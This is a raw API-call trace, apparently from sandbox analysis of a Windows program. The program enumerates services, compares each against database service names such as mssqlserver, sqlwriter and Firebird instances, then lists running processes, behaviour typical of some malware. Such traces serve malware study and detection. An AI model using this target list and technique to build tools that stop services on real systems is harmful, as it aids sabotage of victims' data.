lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0205.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0205.695] lstrlenW (lpString="FontCache") returned 9 [0205.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0205.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0205.696] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0205.696] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0205.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0205.696] lstrlenW (lpString="gpsvc") returned 5 [0205.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0205.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0205.696] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0205.696] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0205.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0205.696] lstrlenW (lpString="iphlpsvc") returned 8 [0205.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0205.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0205.696] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0205.696] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0205.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0205.696] lstrlenW (lpString="KeyIso") returned 6 [0205.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0205.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0205.696] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0205.696] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0205.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0205.696] lstrlenW (lpString="LanmanServer") returned 12 [0205.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0205.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0205.696] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0205.696] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0205.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0205.696] lstrlenW (lpString="LanmanWorkstation") returned 17 [0205.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0205.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0205.696] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0205.696] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0205.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0205.697] lstrlenW (lpString="lfsvc") returned 5 [0205.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0205.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0205.697] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0205.697] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0205.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0205.697] lstrlenW (lpString="lmhosts") returned 7 [0205.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0205.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0205.697] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0205.697] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0205.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0205.697] lstrlenW (lpString="LSM") returned 3 [0205.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0205.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0205.697] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0205.697] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0205.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0205.697] lstrlenW (lpString="MpsSvc") returned 6 [0205.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0205.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0205.697] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0205.697] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0205.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0205.697] lstrlenW (lpString="NcbService") returned 10 [0205.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0205.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0205.697] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0205.697] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0205.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0205.697] lstrlenW (lpString="netprofm") returned 8 [0205.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0205.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0205.697] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0205.698] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0205.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0205.698] lstrlenW (lpString="NgcSvc") returned 6 [0205.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0205.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0205.698] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0205.698] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0205.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0205.698] lstrlenW (lpString="NlaSvc") returned 6 [0205.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0205.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0205.698] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0205.698] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0205.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0205.698] lstrlenW (lpString="nsi") returned 3 [0205.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0205.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0205.698] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0205.698] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0205.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0205.698] lstrlenW (lpString="PcaSvc") returned 6 [0205.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0205.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0205.698] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0205.698] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0205.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0205.698] lstrlenW (lpString="PlugPlay") returned 8 [0205.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0205.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0205.698] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0205.698] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0205.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0205.698] lstrlenW (lpString="Power") returned 5 [0205.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0205.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0205.699] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0205.699] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0205.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0205.699] lstrlenW (lpString="ProfSvc") returned 7 [0205.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0205.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0205.699] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0205.699] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0205.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0205.699] lstrlenW (lpString="RpcEptMapper") returned 12 [0205.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0205.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0205.699] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0205.699] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0205.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0205.699] lstrlenW (lpString="RpcSs") returned 5 [0205.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0205.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0205.699] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0205.699] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0205.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0205.699] lstrlenW (lpString="SamSs") returned 5 [0205.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0205.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0205.699] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0205.699] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0205.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0205.699] lstrlenW (lpString="Schedule") returned 8 [0205.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0205.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0205.699] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0205.699] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0205.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0205.700] lstrlenW (lpString="SecurityHealthService") returned 21 [0205.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0205.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0205.700] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0205.700] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0205.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0205.700] lstrlenW (lpString="SENS") returned 4 [0205.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0205.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0205.700] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0205.700] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0205.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0205.700] lstrlenW (lpString="ShellHWDetection") returned 16 [0205.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0205.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0205.700] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0205.700] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0205.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0205.700] lstrlenW (lpString="Spooler") returned 7 [0205.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0205.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0205.700] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0205.700] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0205.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0205.700] lstrlenW (lpString="StateRepository") returned 15 [0205.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0205.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0205.700] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0205.700] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0205.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0205.700] lstrlenW (lpString="SysMain") returned 7 [0205.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0205.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0205.701] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0205.701] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0205.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0205.701] lstrlenW (lpString="SystemEventsBroker") returned 18 [0205.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0205.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0205.701] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0205.701] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0205.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0205.701] lstrlenW (lpString="Themes") returned 6 [0205.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0205.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0205.701] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0205.701] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0205.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0205.701] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0205.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0205.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0205.701] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0205.701] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0205.701] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x568 [0205.705] Process32FirstW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0205.941] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0205.941] lstrlenW (lpString="System") returned 6 [0205.941] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0205.942] lstrlenW (lpString="smss.exe") returned 8 [0205.942] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0205.942] lstrlenW (lpString="csrss.exe") returned 9 [0205.942] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0205.943] lstrlenW (lpString="wininit.exe") returned 11 [0205.943] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0205.943] lstrlenW (lpString="csrss.exe") returned 9 [0205.943] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0205.944] lstrlenW (lpString="winlogon.exe") returned 12 [0205.944] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0205.944] lstrlenW (lpString="services.exe") returned 12 [0205.944] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0205.945] lstrlenW (lpString="lsass.exe") returned 9 [0205.945] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0205.945] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0205.945] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0205.945] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0205.946] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.946] lstrlenW (lpString="svchost.exe") returned 11 [0205.946] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.946] lstrlenW (lpString="svchost.exe") returned 11 [0205.946] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0205.947] lstrlenW (lpString="dwm.exe") returned 7 [0205.947] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.947] lstrlenW (lpString="svchost.exe") returned 11 [0205.947] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.948] lstrlenW (lpString="svchost.exe") returned 11 [0205.948] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.948] lstrlenW (lpString="svchost.exe") returned 11 [0205.948] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.949] lstrlenW (lpString="svchost.exe") returned 11 [0205.949] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.949] lstrlenW (lpString="svchost.exe") returned 11 [0205.949] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.950] lstrlenW (lpString="svchost.exe") returned 11 [0205.950] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.143] lstrlenW (lpString="svchost.exe") returned 11 [0206.144] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.144] lstrlenW (lpString="svchost.exe") returned 11 [0206.144] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.144] lstrlenW (lpString="svchost.exe") returned 11 [0206.144] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.145] lstrlenW (lpString="svchost.exe") returned 11 [0206.145] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0206.145] lstrlenW (lpString="spoolsv.exe") returned 11 [0206.145] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.146] lstrlenW (lpString="svchost.exe") returned 11 [0206.146] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0206.146] lstrlenW (lpString="audiodg.exe") returned 11 [0206.146] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0206.147] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0206.147] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0206.147] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0206.147] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0206.148] lstrlenW (lpString="Memory Compression") returned 18 [0206.148] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 